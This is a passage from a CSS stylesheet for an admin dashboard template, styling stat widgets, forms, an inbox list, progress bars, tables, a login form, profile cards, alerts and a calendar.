-webkit-box-shadow: 0 15px 10px #777;\n  -moz-box-shadow: 0 15px 10px #777;\n  box-shadow: 0 15px 10px #777;\n  -webkit-transform: rotate(-3deg);\n  -moz-transform: rotate(-3deg);\n  -o-transform: rotate(-3deg);\n  -ms-transform: rotate(-3deg);\n  transform: rotate(-3deg);\n}\n.effect2:after {\n  -webkit-transform: rotate(3deg);\n  -moz-transform: rotate(3deg);\n  -o-transform: rotate(3deg);\n  -ms-transform: rotate(3deg);\n  transform: rotate(3deg);\n  right: 10px;\n  left: auto;\n}\n.legal {\n  width: 70%;\n}\n/* All Invoice Page Responsive\n--------------------------- */\n@media (max-width: 480px) {\n  .control-bar {\n    padding: 15px 15px 40px;\n  }\n}\n@media (max-width: 360px) {\n  .notaxrelated {\n    margin-top: 15px;\n  }\n}\n/*    Widget One\n---------------------------*/\n.stat-widget-one .stat-icon {\n  vertical-align: top;\n}\n.stat-widget-one .stat-icon i {\n  font-size: 30px;\n  border-width: 3px;\n  border-style: solid;\n  border-radius: 100px;\n  padding: 15px;\n  font-weight: 900;\n  display: inline-block;\n}\n.stat-widget-one .stat-content {\n  margin-left: 30px;\n  margin-top: 7px;\n}\n.stat-widget-one .stat-text {\n  font-size: 14px;\n  color: #99abb4;\n}\n.stat-widget-one .stat-digit {\n  font-size: 24px;\n  color: #455a64;\n}\n/*    Widget Two\n---------------------------*/\n.stat-widget-two {\n  text-align: center;\n}\n.stat-widget-two .stat-digit {\n  font-size: 40px;\n  font-weight: 700;\n  color: #455a64;\n}\n.stat-widget-two .stat-text {\n  font-size: 20px;\n  margin-bottom: 5px;\n  color: #99abb4;\n}\n.stat-widget-two .progress {\n  height: 8px;\n  margin-bottom: 0;\n  margin-top: 20px;\n  box-shadow: none;\n}\n.stat-widget-two .progress-bar {\n  box-shadow: none;\n}\n/*    Widget Three\n---------------------------*/\n.stat-widget-three .stat-icon {\n  display: inline-block;\n  padding: 33px;\n  position: absolute;\n  line-height: 21px;\n}\n.stat-widget-three .stat-icon i {\n  font-size: 30px;\n  color: #ffffff;\n}\n.stat-widget-three .stat-content {\n  text-align: center;\n  padding: 15px;\n  margin-left: 90px;\n}\n.stat-widget-three .stat-digit {\n  font-size: 30px;\n}\n.stat-widget-three .stat-text {\n  padding-top: 7px;\n}\n.home-widget-three .stat-icon {\n  line-height: 19px;\n  padding: 27px;\n}\n.home-widget-three .stat-digit {\n  font-size: 24px;\n  font-weight: 300;\n  color: #455a64;\n}\n.home-widget-three .stat-content {\n  text-align: center;\n  margin-left: 60px;\n  padding: 13px;\n}\n.stat-widget-four {\n  position: relative;\n}\n.stat-widget-four .stat-icon {\n  display: inline-block;\n  position: absolute;\n  top: 5px;\n}\n.stat-widget-four i {\n  display: block;\n  font-size: 36px;\n}\n.stat-widget-four .stat-content {\n  margin-left: 40px;\n  text-align: center;\n}\n.stat-widget-four .stat-heading {\n  font-size: 20px;\n}\n.stat-widget-five .stat-icon {\n  border-radius: 100px;\n  display: inline-block;\n  position: absolute;\n}\n.stat-widget-five i {\n  border-radius: 100px;\n  display: block;\n  font-size: 36px;\n  padding: 30px;\n}\n.stat-widget-five .stat-content {\n  margin-left: 100px;\n  padding: 24px 0;\n  position: relative;\n  text-align: right;\n  vertical-align: middle;\n}\n.stat-widget-five .stat-heading {\n  text-align: right;\n  padding-left: 80px;\n  font-size: 20px;\n  font-weight: 200;\n}\n.stat-widget-six {\n  position: relative;\n}\n.stat-widget-six .stat-icon {\n  display: inline-block;\n  position: absolute;\n  top: 5px;\n}\n.stat-widget-six i {\n  display: block;\n  font-size: 36px;\n}\n.stat-widget-six .stat-content {\n  margin-left: 40px;\n  text-align: center;\n}\n.stat-widget-six .stat-heading {\n  font-size: 16px;\n  font-weight: 300;\n}\n.stat-widget-six .stat-text {\n  font-size: 12px;\n  padding-top: 4px;\n}\n.stat-widget-seven .stat-heading {\n  text-align: center;\n}\n.stat-widget-seven .gradient-circle {\n  text-align: center;\n  position: relative;\n  margin: 30px auto;\n  display: inline-block;\n  width: 100%;\n}\n.stat-widget-seven .gradient-circle i {\n  position: absolute;\n  left: 0;\n  right: 0;\n  text-align: center;\n  top: 35px;\n  font-size: 30px;\n}\n.stat-widget-seven .stat-footer {\n  text-align: center;\n  margin-top: 30px;\n}\n.stat-widget-seven .stat-footer .stat-count {\n  padding-left: 5px;\n}\n.stat-widget-seven .count-header {\n  color: #252525;\n  font-size: 12px;\n  font-weight: 400;\n  line-height: 30px;\n}\n.stat-widget-seven .stat-count {\n  font-size: 18px;\n  font-weight: 400;\n  color: #252525;\n}\n.stat-widget-seven .analytic-arrow {\n  position: relative;\n}\n.stat-widget-seven .analytic-arrow i {\n  font-size: 12px;\n}\n/* Stat widget Eight\n--------------------------- */\n.stat-widget-eight {\n  padding: 15px;\n}\n.stat-widget-eight .header-title {\n  font-size: 20px;\n  font-weight: 300;\n}\n.stat-widget-eight .ti-more-alt {\n  color: #878787;\n  cursor: pointer;\n  left: -5px;\n  position: absolute;\n  transform: rotate(90deg);\n}\n.stat-widget-eight .stat-content {\n  margin-top: 50px;\n}\n.stat-widget-eight .stat-content .ti-arrow-up {\n  font-size: 30px;\n  color: #26dad2;\n}\n.stat-widget-eight .stat-content .stat-digit {\n  font-size: 24px;\n  font-weight: 300;\n  margin-left: 15px;\n}\n.stat-widget-eight .stat-content .progress-stats {\n  color: #aaadb2;\n  font-weight: 400;\n  position: relative;\n  top: 10px;\n}\n.stat-widget-eight .progress {\n  margin-bottom: 0;\n  margin-top: 30px;\n  height: 7px;\n  background: #EAEAEA;\n  box-shadow: none;\n}\n.stat-widget-nine .all-like {\n  float: right;\n}\n.stat-widget-nine .stat-icon i {\n  font-size: 22px;\n}\n.stat-widget-nine .stat-text {\n  font-size: 14px;\n}\n.stat-widget-nine .stat-digit {\n  font-size: 14px;\n}\n.stat-widget-nine .like-count {\n  font-size: 30px;\n}\n.horizontal {\n  position: relative;\n}\n.horizontal:before {\n  background: #ffffff;\n  bottom: 0;\n  content: \"\";\n  height: 38px;\n  left: 0;\n  margin: 0 auto;\n  position: absolute;\n  right: 0;\n  width: 1px;\n}\n.widget-ten span i {\n  color: #ffffff;\n  opacity: 0.5;\n}\n.widget-ten h5 {\n  color: #ffffff;\n}\n.widget-ten p {\n  color: #ffffff !important;\n  opacity: 0.75;\n}\n/*\n=================================================\n    Responsive\n=================================================\n*/\n@media (max-width: 768px) {\n  .card {\n    display: inline-block;\n    width: 100%;\n  }\n}\n@media (max-width: 360px) {\n  .stat-widget-five .stat-heading {\n    padding-left: 0;\n  }\n  .stat-widget-two .stat-digit {\n    font-size: 16px;\n  }\n  .stat-widget-two .stat-text {\n    font-size: 14px;\n  }\n  .stat-widget-three .stat-digit {\n    font-size: 20px;\n  }\n  .stat-widget-four .stat-heading {\n    font-size: 18px;\n  }\n  .stat-widget-three .stat-icon {\n    padding: 26px;\n  }\n}\n.round-widget {\n  border: 1px solid red;\n  border-radius: 100px;\n  display: inline-block;\n  height: 60px;\n  line-height: 60px;\n  text-align: center;\n  width: 60px;\n}\n.recent-comment .media {\n  border-bottom: 1px solid #e7e7e7;\n  padding-bottom: 10px;\n  padding-top: 10px;\n}\n.recent-comment .media-left {\n  padding-right: 25px;\n}\n.recent-comment .media-left img {\n  border-radius: 100px;\n  width: 40px;\n}\n.recent-comment .media-body {\n  position: relative;\n}\n.recent-comment .media-body h4 {\n  font-size: 16px;\n  margin-bottom: 10px;\n}\n.recent-comment .media-body p {\n  margin-bottom: 10px;\n  line-height: 16px;\n  color: #99abb4;\n}\n.recent-comment .comment-date {\n  position: absolute;\n  right: 0;\n  top: 0;\n  color: #455a64;\n  font-family: 'Poppins', sans-serif;\n  font-size: 12px;\n}\n.comment-action {\n  float: left;\n}\n.comment-action .badge {\n  text-transform: uppercase;\n  font-family: 'Poppins', sans-serif;\n}\n.comment-action i {\n  padding: 0 5px;\n}\n.recent-meaasge {\n  margin-top: 15px;\n}\n.recent-meaasge .media {\n  border-bottom: 1px solid #e7e7e7;\n  padding-top: 10px;\n  padding-bottom: 10px;\n}\n.recent-meaasge .media-left {\n  padding-right: 25px;\n}\n.recent-meaasge .media-left img {\n  border-radius: 100px;\n  width: 50px;\n}\n.recent-meaasge .media-body {\n  position: relative;\n}\n.recent-meaasge .media-body h4 {\n  font-size: 16px;\n}\n.recent-meaasge .media-body p {\n  margin-top: 10px;\n  margin-bottom: 10px;\n}\n.meaasge-date {\n  float: right;\n  color: #455a64;\n  position: absolute;\n  right: 0;\n  top: 0;\n  font-size: 12px;\n}\n/*    Input Style\n------------------------*/\n.form-group {\n  margin-bottom: 20px;\n}\n.form-control {\n  height: 42px;\n  border-radius: 0;\n  box-shadow: none;\n  border-color: #e7e7e7;\n  font-family: 'Poppins', sans-serif;\n}\n.form-control:hover {\n  box-shadow: none;\n  border-color: #e7e7e7;\n}\n.form-control.active,\n.form-control:focus {\n  box-shadow: none;\n  border-color: #878787;\n}\n.input-default {\n  border-radius: 4px;\n}\n.input-flat {\n  border-radius: 0;\n}\n.input-rounded {\n  border-radius: 100px;\n}\n.input-focus {\n  border-color: #4680ff;\n}\n.input-focus:focus {\n  border-color: #4680ff;\n}\n/*    Search Box Input Button\n--------------------------------*/\n.input-group-btn .btn {\n  padding: 10px 12px;\n}\n.input-group-default .form-control {\n  border-radius: 4px;\n}\n.input-group-flat .form-control {\n  border-radius: 4px;\n}\n.input-group-flat .btn {\n  border-radius: 0;\n}\n.input-group-rounded .form-control {\n  border-radius: 100px;\n}\n.input-group-rounded .btn-group-left {\n  border-top-left-radius: 100px;\n  border-bottom-left-radius: 100px;\n}\n.input-group-rounded .btn-group-right {\n  border-top-right-radius: 100px;\n  border-bottom-right-radius: 100px;\n}\n.input-group-close-icon {\n  background: none;\n  color: #252525;\n  border-color: #e7e7e7;\n}\n.input-group-close-icon.active,\n.input-group-close-icon:focus,\n.input-group-close-icon:hover {\n  background: none;\n  border-color: #e7e7e7;\n  color: #252525;\n}\n/*    Input States\n-----------------------*/\n.has-default .form-control.active,\n.has-error .form-control.active,\n.has-success .form-control.active,\n.has-warning .form-control.active,\n.has-default .form-control:focus,\n.has-error .form-control:focus,\n.has-success .form-control:focus,\n.has-warning .form-control:focus,\n.has-default .form-control:hover,\n.has-error .form-control:hover,\n.has-success .form-control:hover,\n.has-warning .form-control:hover {\n  box-shadow: none;\n}\n.has-default .control-label {\n  color: #878787;\n}\n.has-default .form-control {\n  border-color: #878787;\n}\n.has-default .form-control.active,\n.has-default .form-control:focus,\n.has-default .form-control:hover {\n  border-color: #878787;\n}\n.has-success .control-label {\n  color: #26dad2;\n}\n.has-success .form-control {\n  border-color: #26dad2;\n}\n.has-success .form-control.active,\n.has-success .form-control:focus,\n.has-success .form-control:hover {\n  border-color: #26dad2;\n}\n.has-warning .control-label {\n  color: #ffb64d;\n}\n.has-warning .form-control {\n  border-color: #ffb64d;\n}\n.has-warning .form-control.active,\n.has-warning .form-control:focus,\n.has-warning .form-control:hover {\n  border-color: #ffb64d;\n}\n.has-error .control-label {\n  color: #fc6180;\n}\n.has-error .form-control {\n  border-color: #fc6180;\n}\n.has-error .form-control.active,\n.has-error .form-control:focus,\n.has-error .form-control:hover {\n  border-color: #fc6180;\n}\n.has-feedback label ~ .form-control-feedback {\n  top: 35px;\n}\n.form-horizontal .has-feedback .form-control-feedback {\n  top: 5px;\n}\n.has-success .form-control-feedback {\n  color: #26dad2;\n}\n.has-warning .form-control-feedback {\n  color: #ffb64d;\n}\n.has-error .form-control-feedback {\n  color: #fc6180;\n}\n.has-success .input-group-addon {\n  background-color: #93ede9;\n  border-color: #26dad2;\n  color: #26dad2;\n}\n.has-warning .input-group-addon {\n  background-color: #ffeacd;\n  border-color: #ffb64d;\n  color: #ffb64d;\n}\n.has-error .input-group-addon {\n  background-color: #fedee5;\n  border-color: #fc6180;\n  color: #fc6180;\n}\n/*    Input Size\n--------------------*/\n.input-sm {\n  font-size: 12px;\n  height: 30px;\n  line-height: 1.5;\n}\n.input-lg {\n  font-size: 18px;\n  height: 46px;\n  line-height: 1.33333;\n}\n/*    Basic form\n----------------------*/\nlabel {\n  font-weight: 400;\n  margin-bottom: 10px;\n}\n/*    Form Horizontal\n----------------------*/\n.form-horizontal .control-label {\n  padding-top: 12px;\n}\n.form-horizontal .form-group {\n  margin-left: 0;\n  margin-right: 0;\n}\n.dropdown-menu li {\n  font-size: 14px;\n  padding: 5px 15px;\n}\n.is-invalid .form-control {\n  border-color: #fc6180;\n}\n.invalid-feedback {\n  color: #ef5350;\n  display: none;\n  margin-top: 0.25rem;\n}\n.is-invalid .invalid-feedback,\n.is-invalid .invalid-tooltip {\n  display: block;\n}\n.inbox-leftbar {\n  width: 240px;\n  float: left;\n  padding: 0 20px 20px 10px;\n}\n.inbox-rightbar {\n  margin-left: 250px;\n}\n.message-list {\n  display: block;\n  padding-left: 0;\n}\n.message-list li {\n  position: relative;\n  display: block;\n  height: 50px;\n  line-height: 50px;\n  cursor: default;\n  transition-duration: 0.3s;\n}\n.message-list li a {\n  color: #797979;\n}\n.message-list li:hover {\n  background: rgba(152, 166, 173, 0.15);\n  transition-duration: 0.05s;\n}\n.message-list li .col-mail {\n  float: left;\n  position: relative;\n}\n.message-list li .col-mail-1 {\n  width: 320px;\n}\n.message-list li .col-mail-1 .star-toggle {\n  display: block;\n  float: left;\n  margin-top: 18px;\n  font-size: 16px;\n  margin-left: 5px;\n}\n.message-list li .col-mail-1 .checkbox-wrapper-mail {\n  display: block;\n  float: left;\n  margin: 15px 10px 0 20px;\n}\n.message-list li .col-mail-1 .dot {\n  display: block;\n  float: left;\n  border: 4px solid transparent;\n  border-radius: 100px;\n  margin: 22px 26px 0;\n  height: 0;\n  width: 0;\n  line-height: 0;\n  font-size: 0;\n}\n.message-list li .col-mail-1 .title {\n  position: absolute;\n  left: 110px;\n  right: 0;\n  text-overflow: ellipsis;\n  overflow: hidden;\n  white-space: nowrap;\n}\n.message-list li .col-mail-2 {\n  position: absolute;\n  top: 0;\n  left: 320px;\n  right: 0;\n  bottom: 0;\n}\n.message-list li .col-mail-2 .subject {\n  position: absolute;\n  top: 0;\n  left: 0;\n  right: 200px;\n  text-overflow: ellipsis;\n  overflow: hidden;\n  white-space: nowrap;\n}\n.message-list li .col-mail-2 .date {\n  position: absolute;\n  top: 0;\n  right: 0;\n  width: 170px;\n  padding-left: 80px;\n}\n.message-list li.active {\n  background: rgba(152, 166, 173, 0.15);\n  transition-duration: 0.05s;\n  box-shadow: inset 3px 0 0 #3c86d8;\n}\n.message-list li.active:hover {\n  box-shadow: inset 3px 0 0 #3c86d8;\n}\n.message-list li.selected {\n  background: rgba(152, 166, 173, 0.15);\n  transition-duration: 0.05s;\n}\n.message-list li.unread a {\n  font-weight: 600;\n  color: #272e37 !important;\n}\n.message-list li.blue-dot .col-mail-1 .dot {\n  border-color: #5d6dc3;\n}\n.message-list li.orange-dot .col-mail-1 .dot {\n  border-color: #f9bc0b;\n}\n.message-list li.green-dot .col-mail-1 .dot {\n  border-color: #3ec396;\n}\n.message-list .checkbox-wrapper-mail {\n  cursor: pointer;\n  height: 20px;\n  width: 20px;\n  position: relative;\n  display: inline-block;\n  box-shadow: inset 0 0 0 1px #98a6ad;\n  border-radius: 1px;\n}\n.message-list .checkbox-wrapper-mail input {\n  opacity: 0;\n  cursor: pointer;\n}\n.message-list .checkbox-wrapper-mail input:checked label {\n  opacity: 1;\n}\n.message-list .checkbox-wrapper-mail label {\n  position: absolute;\n  top: 3px;\n  left: 3px;\n  right: 3px;\n  bottom: 3px;\n  cursor: pointer;\n  background: #98a6ad;\n  opacity: 0;\n  margin-bottom: 0 !important;\n  transition-duration: 0.05s;\n}\n.message-list .checkbox-wrapper-mail label:active {\n  background: #87949b;\n}\n.mail-list a {\n  font-family: \"Roboto\", sans-serif;\n  vertical-align: middle;\n  color: #797979;\n  padding: 10px 15px;\n  display: block;\n}\n@media (max-width: 648px) {\n  .inbox-leftbar {\n    width: 100%;\n  }\n  .inbox-rightbar {\n    margin-left: 0;\n  }\n}\n@media (max-width: 520px) {\n  .message-list li .col-mail-1 {\n    width: 150px;\n  }\n  .message-list li .col-mail-1 .title {\n    left: 80px;\n  }\n  .message-list li .col-mail-2 {\n    left: 160px;\n  }\n  .message-list li .col-mail-2 .date {\n    text-align: right;\n    padding-right: 10px;\n    padding-left: 20px;\n  }\n}\n.progress-bar {\n  background-color: #4680ff;\n}\n.progress-bar-primary {\n  background-color: #4680ff;\n}\n.progress-bar-success {\n  background-color: #26dad2;\n}\n.progress-bar-info {\n  background-color: #62d1f3;\n}\n.progress-bar-danger {\n  background-color: #fc6180;\n}\n.progress-bar-warning {\n  background-color: #ffb64d;\n}\n.progress-bar-pink {\n  background-color: #e6a1f2;\n}\n.progress {\n  height: 6px;\n}\n.progress-bar.active,\n.progress.active .progress-bar {\n  animation: 2s linear 0s normal none infinite running progress-bar-stripes;\n}\n.progress-vertical {\n  display: inline-block;\n  height: 250px;\n  margin-bottom: 0;\n  margin-right: 20px;\n  min-height: 250px;\n  position: relative;\n}\n.progress-vertical-bottom {\n  display: inline-block;\n  height: 250px;\n  margin-bottom: 0;\n  margin-right: 20px;\n  min-height: 250px;\n  position: relative;\n  transform: rotate(180deg);\n}\n.progress-animated {\n  animation-duration: 5s;\n  animation-name: myanimation;\n  transition: all 5s ease 0s;\n}\n@keyframes myanimation {\n  0% {\n    width: 0;\n  }\n}\n@keyframes myanimation {\n  0% {\n    width: 0;\n  }\n}\n.browser .progress {\n  height: 8px;\n}\n.tdl-holder {\n  margin: 0 auto;\n}\n.tdl-holder ul {\n  list-style: none;\n  margin: 0;\n  padding: 0;\n}\n.tdl-holder li {\n  background-color: transparent;\n  list-style: outside none none;\n  margin: 0;\n  padding: 10px 0;\n}\n.tdl-holder li span {\n  margin-left: 30px;\n  font-family: 'Poppins', sans-serif;\n  vertical-align: middle;\n  -webkit-transition: all 0.2s linear;\n  -moz-transition: all 0.2s linear;\n  -o-transition: all 0.2s linear;\n  transition: all 0.2s linear;\n}\n.tdl-holder label {\n  cursor: pointer;\n  display: block;\n  line-height: 40px;\n  padding: 0 15px;\n  position: relative;\n  margin: 0 !important;\n}\n.tdl-holder label:hover {\n  background-color: #eef5f9;\n  color: #99abb4;\n}\n.tdl-holder label:hover a {\n  display: block;\n}\n.tdl-holder label a {\n  border-radius: 50%;\n  color: #99abb4;\n  display: none;\n  float: right;\n  font-weight: bold;\n  line-height: normal;\n  height: 16px;\n  margin-top: 15px;\n  text-align: center;\n  text-decoration: none;\n  width: 16px;\n  -webkit-transition: all 0.2s linear;\n  -moz-transition: all 0.2s linear;\n  -o-transition: all 0.2s linear;\n  transition: all 0.2s linear;\n}\n.tdl-holder input[type=\"checkbox\"] {\n  cursor: pointer;\n  opacity: 0;\n  position: absolute;\n}\n.tdl-holder input[type=\"checkbox\"] + i {\n  background-color: #ffffff;\n  display: block;\n  height: 18px;\n  position: absolute;\n  top: 15px;\n  width: 18px;\n  z-index: 1;\n}\n.tdl-holder input[type=\"checkbox\"]:checked + i::after {\n  content: \"\\e64c\";\n  font-family: 'themify';\n  display: block;\n  left: 0;\n  position: absolute;\n  top: -17px;\n  z-index: 2;\n}\n.tdl-holder input[type=\"checkbox\"]:checked ~ span {\n  text-decoration: line-through;\n}\n.tdl-holder input[type=\"text\"] {\n  height: 60px;\n  margin-top: 20px;\n  font-size: 14px;\n}\n.datamap-sales-hover-tooltip {\n  background: #444c67;\n  font-family: 'Poppins', sans-serif;\n  padding: 5px 10px;\n  color: #ffffff;\n  font-weight: 400;\n  font-size: 12px;\n  text-transform: capitalize;\n  border-radius: 3px;\n}\nthead tr th {\n  color: #455a64;\n  font-weight: 500;\n}\nthead tr th:last-child {\n  text-align: right;\n}\ntbody tr th {\n  color: #455a64;\n  font-family: 'Poppins', sans-serif;\n  font-weight: normal;\n}\ntbody tr td {\n  font-family: 'Poppins', sans-serif;\n  color: #99abb4;\n}\ntbody tr td:last-child {\n  text-align: right;\n}\n.table > tbody > tr > td,\n.table > tbody > tr > th,\n.table > tfoot > tr > td,\n.table > tfoot > tr > th,\n.table > thead > tr > td,\n.table > thead > tr > th {\n  line-height: 32px;\n  vertical-align: top;\n}\n.table > thead > tr > th {\n  border-bottom: 1px solid #e7e7e7;\n  font-weight: 600;\n}\n.table {\n  margin-bottom: 0;\n}\n.table .badge {\n  text-transform: uppercase;\n}\n.student-data-table label {\n  margin-right: 7px;\n}\n.student-data-table td span a {\n  padding: 3px;\n}\n.search-action {\n  bottom: 0;\n  display: inline-block;\n  position: absolute;\n  right: 92px;\n  text-align: right;\n}\n.search-type .form-control {\n  height: 30px;\n}\n@media (max-width: 1199px) {\n  .search-action {\n    text-align: center;\n    position: relative;\n    right: 0;\n  }\n  .search-type .form-control {\n    margin-bottom: 8px;\n    margin-top: 8px;\n  }\n}\n.table td,\n.table th {\n  padding: 0.55rem;\n}\n.table .round-img img {\n  width: 38px;\n}\n.current-progress {\n  margin-top: 15px;\n}\n.progress-content {\n  margin-bottom: 20px;\n}\n.progress-content:last-child {\n  margin-bottom: 0px;\n}\n.current-progressbar {\n  margin-top: 3px;\n}\n.current-progressbar .progress {\n  height: 15px;\n  margin: 0px;\n  box-shadow: none;\n}\n.current-progressbar .progress-bar {\n  box-shadow: 0px;\n  line-height: 14px;\n  font-size: 11px;\n  box-shadow: none;\n}\n.login-logo {\n  text-align: center;\n  margin-bottom: 15px;\n}\n.login-logo span {\n  color: #ffffff;\n  font-size: 24px;\n}\n.login-logo img {\n  height: 75px;\n}\n.login-content {\n  margin: 100px 0;\n}\n.login-form {\n  background: #ffffff;\n  padding: 30px 30px 20px;\n  border-radius: 2px;\n}\n.login-form h4 {\n  color: #455a64;\n  text-align: center;\n  margin-bottom: 50px;\n}\n.login-form .checkbox {\n  color: #455a64;\n}\n.login-form .checkbox label {\n  text-transform: none;\n}\n.login-form .btn {\n  width: 100%;\n  text-transform: uppercase;\n  font-size: 14px;\n  padding: 15px;\n  border: 0px;\n}\n.login-form label {\n  color: #455a64;\n  text-transform: uppercase;\n}\n.login-form label a {\n  color: #4680ff;\n}\n.social-login-content {\n  margin: 0px -30px;\n  border-top: 1px solid #e7e7e7;\n  border-bottom: 1px solid #e7e7e7;\n  padding: 30px 0px;\n  background: #fcfcfc;\n}\n.social-button {\n  padding: 0 30px;\n}\n.social-button i {\n  padding: 19px;\n}\n.register-link a {\n  color: #4680ff;\n}\n.cpu-load {\n  width: 100%;\n  height: 272px;\n  font-size: 14px;\n  line-height: 1.2em;\n}\n.cpu-load-data-content {\n  font-size: 18px;\n  font-weight: 400;\n  line-height: 40px;\n}\n.cpu-load-data {\n  margin-bottom: 30px;\n}\n.cpu-load-data li {\n  display: inline-block;\n  width: 32.5%;\n  text-align: center;\n  border-right: 1px solid #e7e7e7;\n}\n.cpu-load-data li:last-child {\n  border-right: 0px;\n}\n#barChart {\n  height: 400px!important;\n}\n.nestable-cart {\n  overflow: hidden;\n}\n.dd-handle,\n.dd3-content {\n  color: #000!important;\n}\n.profiletimeline {\n  border-left: 1px solid rgba(120, 130, 140, 0.13);\n  margin-left: 30px;\n  margin-right: 10px;\n  padding-left: 40px;\n  position: relative;\n}\n.profiletimeline .sl-left {\n  float: left;\n  margin-left: -60px;\n  margin-right: 15px;\n  z-index: 1;\n}\n.profiletimeline .sl-left img {\n  max-width: 40px;\n}\n.profiletimeline .sl-item {\n  margin-bottom: 30px;\n  margin-top: 8px;\n}\n.profiletimeline .sl-date {\n  color: #99abb4;\n  font-size: 12px;\n}\n.profiletimeline .time-item {\n  border-color: rgba(120, 130, 140, 0.13);\n  padding-bottom: 1px;\n  position: relative;\n}\n.profiletimeline .time-item::before {\n  content: \" \";\n  display: table;\n}\n.profiletimeline .time-item::after {\n  background-color: #ffffff;\n  border-color: rgba(120, 130, 140, 0.13);\n  border-radius: 10px;\n  border-style: solid;\n  border-width: 2px;\n  bottom: 0;\n  content: \"\";\n  height: 14px;\n  left: 0;\n  margin-left: -8px;\n  position: absolute;\n  top: 5px;\n  width: 14px;\n}\n.profiletimeline .time-item-item::after {\n  content: \" \";\n  display: table;\n}\n.profiletimeline .item-info {\n  margin-bottom: 15px;\n  margin-left: 15px;\n}\n.profiletimeline .item-info p {\n  margin-bottom: 10px !important;\n}\n.customtab li a.nav-link,\n.profile-tab li a.nav-link {\n  border: 0 none;\n  color: #455a64;\n  padding: 15px 20px;\n}\n.customtab li a.nav-link.active,\n.profile-tab li a.nav-link.active {\n  border-bottom: 2px solid #1976d2;\n  color: #1976d2;\n}\n.card-two {\n  position: relative;\n  margin: 0 !important;\n  border: 0;\n}\n.card-two header {\n  position: relative;\n  width: 100%;\n  height: 60px;\n}\n.card-two header .avatar {\n  position: absolute;\n  left: 50%;\n  top: 30px;\n  margin-left: -50px;\n  z-index: 5;\n  width: 100px;\n  height: 100px;\n  border-radius: 50%;\n  overflow: hidden;\n  background: #ccc;\n  border: 3px solid #fff;\n}\n.card-two header .avatar img {\n  position: absolute;\n  top: 50%;\n  left: 50%;\n  -webkit-transform: translate(-50%, -50%);\n  transform: translate(-50%, -50%);\n  width: 100px;\n  height: auto;\n}\n.card-two h3 {\n  position: relative;\n  margin: 80px 0 30px;\n  text-align: center;\n}\n.card-two h3::after {\n  content: '';\n  position: absolute;\n  bottom: -15px;\n  left: 50%;\n  margin-left: -15px;\n  width: 30px;\n  height: 1px;\n  background: #000;\n}\n.card-two .desc {\n  padding: 0 1rem 2rem;\n  text-align: center;\n  line-height: 1.5;\n  color: #777;\n}\n.card-two .contacts {\n  width: 200px;\n  max-width: 100%;\n  margin: 0 auto 3.5rem;\n}\n.card-two .contacts a {\n  display: block;\n  width: 33.333333%;\n  float: left;\n  text-align: center;\n  color: #1976d2;\n}\n.card-two .contacts a:hover {\n  color: #333;\n}\n.card-two .contacts a:hover .fa::before {\n  color: #fff;\n}\n.card-two .contacts a:hover .fa::after {\n  top: 0;\n}\n.card-two .contacts a .fa {\n  position: relative;\n  width: 40px;\n  height: 40px;\n  line-height: 39px;\n  overflow: hidden;\n  text-align: center;\n  border: 2px solid #1976d2;\n  border-radius: 50%;\n}\n.card-two .contacts a .fa:before {\n  position: relative;\n  z-index: 1;\n}\n.card-two .contacts a .fa::after {\n  content: '';\n  position: absolute;\n  top: -50px;\n  left: 0;\n  width: 100%;\n  height: 100%;\n  -webkit-transition: top 0.3s;\n  transition: top 0.3s;\n  background: #1976d2;\n}\n.card-two .contacts a:last-of-type .fa {\n  line-height: 36px;\n}\n.profile-widget-one .profile-one-bg {\n  position: relative;\n}\n.profile-widget-one .profile-one-user-photo {\n  position: relative;\n}\n.profile-widget-one .profile-one-user-photo .bg-overlay {\n  background: rgba(0, 0, 0, 0.6);\n  bottom: 0;\n  left: 0;\n  position: absolute;\n  right: 0;\n  top: 0;\n}\n.profile-widget-one .profile-one-user-photo .user-photo {\n  bottom: 0;\n  height: 100%;\n  position: absolute;\n  text-align: center;\n  top: 0;\n  width: 100%;\n}\n.profile-widget-one .profile-one-user-photo .user-photo img {\n  border-radius: 100px;\n  height: 100px;\n  position: relative;\n  top: 50%;\n  transform: translateY(-50%);\n  width: 100px;\n}\n.profile-widget-one .profile-one-user-content ul li {\n  background: #ffffff;\n  border-right: 1px solid #e7e7e7;\n  border-bottom: 1px solid #e7e7e7;\n  display: block;\n  float: left;\n  padding: 10px 0;\n  text-align: center;\n  width: 32%;\n}\n.profile-widget-one .profile-one-user-content ul li:last-child {\n  border-right: 0px;\n}\n.profile-widget-one .profile-one-user-content h4 {\n  line-height: 30px;\n  font-size: 14px;\n  margin: 0px;\n}\n.profile-widget-one .profile-one-user-content .earning-amount,\n.profile-widget-one .profile-one-user-content .sold-amount {\n  color: #26dad2;\n  font-size: 24px;\n  font-weight: 400;\n  margin-top: 10px;\n}\n.profile-widget-one .profile-one-user-content .sold-amount {\n  color: #4680ff;\n  font-size: 24px;\n  font-weight: 400;\n  margin-top: 10px;\n}\n.profile-widget-one .profile-one-user-button {\n  text-align: center;\n  padding: 26px 0px;\n}\n.profile-widget-one .profile-btn-one {\n  font-size: 18px;\n  text-transform: uppercase;\n  padding: 8px 15px;\n  font-weight: 400;\n  color: #4680ff;\n}\n/*Aleart\n-------------*/\n.alert-primary {\n  background-color: #a2bfff;\n  border-color: #a2bfff;\n  color: #4680ff;\n}\n.alert-success {\n  background-color: #93ede9;\n  border-color: #93ede9;\n  color: #26dad2;\n}\n.alert-warning {\n  background-color: #ffeacd;\n  border-color: #ffeacd;\n  color: #ffb64d;\n}\n.alert-danger {\n  background-color: #fedee5;\n  border-color: #fedee5;\n  color: #fc6180;\n}\n.alert-pink {\n  background-color: #f8e4fb;\n  border-color: #f8e4fb;\n  color: #e6a1f2;\n}\n.alert-dismissable .close,\n.alert-dismissible .close {\n  color: rgba(0, 0, 0, 0.8);\n}\n/*    Labels\n------------------*/\n.label-default {\n  background-color: #878787;\n}\n.label-primary {\n  background-color: #4680ff;\n}\n.label-success {\n  background-color: #26dad2;\n}\n.label-info {\n  background-color: #62d1f3;\n}\n.label-danger {\n  background-color: #fc6180;\n}\n.label-warning {\n  background-color: #ffb64d;\n}\n/* Calendar\n================================================== */\n/* =============\n   Calendar\n============= */\n.calendar {\n  float: left;\n  margin-bottom: 0px;\n}\n.fc-view {\n  margin-top: 30px;\n}\n.none-border .modal-footer {\n  border-top: none;\n}\n.fc-toolbar {\n  margin-bottom: 5px;\n  margin-top: 15px;\n}\n.fc-toolbar h2 {\n  font-size: 18px;\n  font-weight: 600;\n  line-height: 30px;\n  text-transform: uppercase;\n}\n.fc-day {\n  background: #ffffff;\n}\n.fc-toolbar .fc-state-active,\n.fc-toolbar .ui-state-active,\n.fc-toolbar 